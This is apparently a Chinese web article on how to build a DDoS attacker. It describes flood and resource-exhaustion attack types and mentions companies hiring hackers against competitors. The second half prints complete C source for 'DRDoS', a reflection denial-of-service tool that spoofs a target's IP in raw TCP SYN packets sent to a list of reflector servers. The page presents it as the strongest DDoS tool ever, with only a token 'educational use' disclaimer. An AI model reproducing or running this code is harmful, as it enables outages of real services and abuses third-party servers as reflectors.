怎么编写ddos攻击器ddos攻击器源码
DDOS是(Distributed Denial of Service)的缩写,即分布式阻断服务,黑客利用DDOS攻击器控制多台机器同时攻击来达到“妨碍正常使用者使用服务”的目的,这样就形成了DDOS攻击,随着互联网的不断发展,竞争越来越激烈,各式各样的DDOS攻击器开始出现。就以2014年最新的闪电DDOS来说他的DNS攻击模式可放大N倍进行反射攻击。不少公司雇佣黑客团队对自己的竞争对手进行DDOS攻击。目前业界的各类攻击产品很多,目前最强悍技术最领先的防火墙测试软件就是DDOS攻击器了。
在当今维护网络安全的措施中,防火墙是应
用最普遍、提供最基本网络防范功能的一种有效手段。针对威胁网络安全的DDOS攻击,DDOS防火墙扮演者重要的角色,其产品也是琳琅满目。随着用户对DDOS防火墙的质量要求越来越高,对DDOS防火墙产品的DDOS压力测试的研究也随即展开,压力测试软件的重要性能够让企业及时发现自己网络环境的薄弱点,从而及时防范潜在的黑客攻击,降低企业的损失。
攻击种类
受害主机在 DDoS 攻击下,明显特征就是大量的不明数据报文流向受害主机,受害主机的网络接入带宽被耗尽,或者受害主机的系统资源(存储资源和计算资源)被大量占用,甚至发生死机。前者可称为带宽消耗攻击,后者称为系统资源消耗攻击。两者可能单独发生,也可能同时发生。
1 带宽消耗攻击
DDoS带宽消耗攻击主要为直接洪流攻击。 直接洪流攻击采取了简单自然的攻击方式,它利用了攻击方的资源优势,当大量代理发出的攻击流汇聚于目标时,足以耗尽其 Internet 接入带宽。通常用于发送的攻击报文类型有:TCP报文(可含TCP SYN报文),UDP报文,ICMP报文,三者可以单独使用,也可同时使用。
1.1 TCP洪流攻击
在早期的DoS攻击中,攻击者只发送TCP SYN报文,以消耗目标的系统资源。而在 DDoS 攻击中,由于攻击者拥有更多的攻击资源,所以攻击者在大量发送TCP SYN报文的同时,还发送ACK, FIN, RST报文以及其他 TCP 普通数据报文,这称为 TCP 洪流攻击。该攻击在消耗系统资源(主要由 SYN,RST 报文导致)的同时,还能拥塞受害者的网络接入带宽。由于TCP协议为TCP/IP协议中的基础协议,是许多重要应用层服务(如WEB 服务,FTP 服务等)的基础,所以TCP洪流攻击能对服务器的服务性能造成致命的影响。据研究统计,大多数DDoS攻击通过TCP洪流攻击实现。
1.2UDP 洪流攻击
用户数据报协议(UDP)是一个无连接协议。当数据包经由UDP协议发送时,发送双方无需通过三次握手建立连接, 接收方必须接收处理该数据包。因此大量的发往受害主机 UDP 报文能使网络饱和。在一起UDP 洪流攻击中,UDP 报文发往受害系统的随机或指定端口。通常,UDP洪流攻击设定成指向目标的随机端口。这使得受害系统必须对流入数据进行分析以确定哪个应用服务请求了数据。如果受害系统在某个被攻击端口没有运行服务,它将用 ICMP 报文回应一个“目标端口不可达”消息。通常,攻击中的DDoS工具会伪造攻击包的源IP地址。这有助于隐藏代理的身份,同时能确保来自受害主机的回应消息不会返回到代理。UDP洪流攻击同时也会拥塞受害主机周围的网络带宽(视网络构架和线路速度而定)。因此,有时连接到受害系统周边网络的主机也会遭遇网络连接问题。
1.3 ICMP洪流攻击
Internet 控制报文协议传递差错报文及其它网络管理消息,它被用于定位网络设备,确定源到端的跳数或往返时间等。一个典型的运用就是 Ping 程序,其使用 ICMP_ECHO REQEST 报文,用户可以向目标发送一个请求消息,并收到一个带往返时间的回应消息。ICMP 洪流攻击就是通过代理向受害主机发送大量ICMP_ECHO_ REQEST)报文。这些报文涌往目标并使其回应报文,两者合起来的流量将使受害主机网络带宽饱和。与UDP洪流攻击一样,ICMP洪流攻击通常也伪造源IP地址。
2 系统资源消耗攻击
DDoS系统资源消耗攻击包括恶意误用 TCP/IP 协议通信和发送畸形报文两种攻击方式。两者都能起到占用系统资源的效果。具体有以下几种:
TCP SYN攻击。DoS的主要攻击方式,在DDoS攻击中仍然是最常见的攻击手段之一。只不过在 DDoS 方式下,它的攻击强度得到了成百上千倍的增加。
TCP PSH+ACK 攻击。在 TCP 协议中,到达目的地的报文将进入 TCP栈的缓冲区,直到缓冲区满了,报文才被转送给接收系统。此举是为了使系统清空缓冲区的次数达到最小。然而,发送者可通过发送 PSH 标志为 1 的TCP 报文来起强制要求接受系统将缓冲区的内容清除。TCP PUSH+ACK 攻击与 TCP SYN 攻击一样目的在于耗尽受害系统的资源。当代理向受害主机发送PSH和ACK标志设为1的TCP报文时, 这些报文将使接收系统清除所有 TCP 缓冲区的数据(不管缓冲区是满的还是非满),并回应一个确认消息。如果这个过程被大量代理重复,系统将无法处理大量的流入报文。 畸形报文攻击。顾名思义,畸形报文攻击指的是攻击者指使代理向受害主机发送错误成型的IP报文以使其崩溃。有两种畸形报文攻击方式。一种是IP 地址攻击,攻击报文拥有相同的源 IP 和目的 IP 地址。它能迷惑受害主机的操作系统,并使其消耗大量的处理能力。另一个是IP报文可选段攻击。攻击报文随机选取IP报文的可选段并将其所有的服务比特值设为1。对此,受害系统不得不花费额外的处理时间来分析数据包。当发动攻击的代理足够多时,受害系统将失去处理能力。
3 应用层攻击
典型如国内流行的传奇假人攻击,这种攻击利用傀儡机,模拟了传奇服务器的数据流,能够完成普通传奇戏服务器的注册、登陆等功能,使得服务器运行的传奇游戏内出现大量的假人,影响了正常玩家的登陆和游戏,严重时完全无法登陆。
DDOS攻击器原代码
历史上最强的DDOS工具---DRDOS源代码(危害指数★★★★★)请大家谨慎使用!
用C++编写的,用C++生成EXE文件即可
/**************************************************************************/
/* DRDoS - Distributed ReflecTIon Denial of Service tool */
/* */
/* Copyright (C) 2003 KrystalEye.com */
/* */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software FoundaTIon; either version 2 of the License, or */
/* (at your opTIon) any later version. */
/* */
/* This program is distributed in the hope that it will be useful, */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */
/* GNU General Public License for more details. */
/* */
/**************************************************************************/
/* Version - 1.0 */
/* */
/* Purpose - Demonstration of DRDoS attacks */
/* */
/* Author - Nguyen Minh Nhat 《ngmnhat@yahoo.com》 */
/* http://www.krystaleye.com/ */
/* */
/* Disclaimer - You must be ROOT to use RAW socket. */
/* This program is for educational purposes only and */
/* network testing ON YOUR OWN NETWORK! Do not use it */
/* for malicious purposes! */
/* I am in NO way responsible for what you do with this */
/* program, or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands off, */
/* and catch up on those things first. */
/* */
/* Compiling - gcc -o DRDoS DRDoS.c */
/* */
/* Usage - Usage is described in the welcome screen of this program when */
/* running it without arguments */
/**************************************************************************/
#include 《stdio.h》
#include 《stdlib.h》
#include 《unistd.h》
#include 《string.h》
#include 《sys/types.h》
#include 《sys/socket.h》
#include 《arpa/inet.h》
#include 《netinet/in.h》
#include 《netinet/ip.h》
#include 《netinet/tcp.h》
#include 《netdb.h》
#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)
struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};
unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);
int main(int argc,char * argv[])
{
int val;
char fname[1000];
FILE * list;
char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;
int serverfd;
struct sockaddr_in server;
char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;
if (argc != 3)
{
printf(“\nDistributed Reflection DoS tool - v1.0\n”);
printf(“Copyright (C) 2003 KrystalEye.com\n\n”);
printf(“Usage: %s 《list》 《target IP》\n\n”,argv[0]);
printf(“ -list : Path to Zombies (\”Reflection Servers\“) list file\n”);
printf(“ -target IP: IP address of target\n\n”);
printf(“*** Syntax of list file ***\n”);
printf(“ -Each line contains 1 zombie‘s information\n”);
printf(“ -Each zombie is described by 5 numbers:\n”);
printf(“ 4 octets of IP address (without ’。‘) and Port number\n”);
printf(“ -Numbers are seperated by at least 1 blank character (’ ‘)\n”);
printf(“Example: 203 162 56 78 80\n”);
printf(“ =》 IP: 203.162.56.78 || Port: 80\n\n”);
printf(“Email: ngmnhat@yahoo.com\n”);
printf(“Good luck! Thanks for using this tool!\n\n”);
exit(-1);
}
else
{
sprintf(fname,“%s”,argv[1]);
sprintf(saddr,“%s”,argv[2]);
sprintf(daddr,“%s”,argv[2]);
tport = random() % 10000;
sport = tport;
dport = tport;
}
if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
printf(“Error: malloc()\n”);
exit(-1);
}
bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));
ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);
helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);
tcp-》source = htons(sport);
tcp-》dest = htons(dport);
tcp-》seq = htonl(random());
tcp-》ack_seq = 0;
tcp-》doff = 5;
tcp-》fin = 0;
tcp-》syn = 1;
tcp-》rst = 0;
tcp-》psh = 0;
tcp-》ack = 0;
tcp-》window = htons(65535);
tcp-》urg_ptr = 0;
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE +
PSEUDOHDRSIZE);
ip-》ihl = 5;
ip-》version = 4;
ip-》tos = 0;
ip-》tot_len = IPHDRSIZE + TCPHDRSIZE;
ip-》id = random();
ip-》ttl = 255;
ip-》protocol = IPPROTO_TCP;
ip-》saddr = inet_addr(saddr);
ip-》daddr = inet_addr(daddr);
ip-》check = 0;
ip-》check = in_cksum((unsigned short *)ip,IPHDRSIZE);
if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) 《 0)
{
printf(“Error: socket()\n”);
exit(-1);
}
setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));
bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;
if ((list = fopen(fname,“r”)) == NULL)
{
printf(“Error: cannot open file\n”);
exit(-1);
}
fscanf(list,“%hu”,&a);
if (feof(list))
{
printf(“Error: empty list\n”);
fclose(list);
exit(-1);
}
fclose(list);
printf(“\nAttacking %s.。。\n\n”,argv[2]);
printf(“Press 《Ctrl-C》 to Stop.\n”);
while (1)
{
list = fopen(fname,“r”);
while (!feof(list))
{
fscanf(list,“ %hu %hu %hu %hu %hu”,&a,&b,&c,&d,&tport);
sprintf(daddr,“%hu.%hu.%hu.%hu”,a,b,c,d);
helpcksum.pseudo.daddr = inet_addr(daddr);
ip-》daddr = inet_addr(daddr);
ip-》id = random();
ip-》check = 0;
dport = tport;
tcp-》source = htons(random() % 10000);
tcp-》dest = htons(dport);
tcp-》seq = htonl(random());
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE +
PSEUDOHDRSIZE);
ip-》check = in_cksum((unsigned short *)ip,IPHDRSIZE);
server.sin_addr.s_addr = inet_addr(daddr);
server.sin_port = htons(dport);
sendto(serverfd,packet,ip-》tot_len,0,(struct sockaddr *)&server,sizeof
(struct sockaddr));
usleep(100);
}
fclose(list);
}
close(serverfd);
return 0;
}
unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft 》 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum 》》 16) + (sum & 0xffff);
sum += (sum 》》 16);
answer = ~sum;
return answer;
}
上一篇:ddos攻击有什么特点
下一篇:ddos攻击也可以按需服务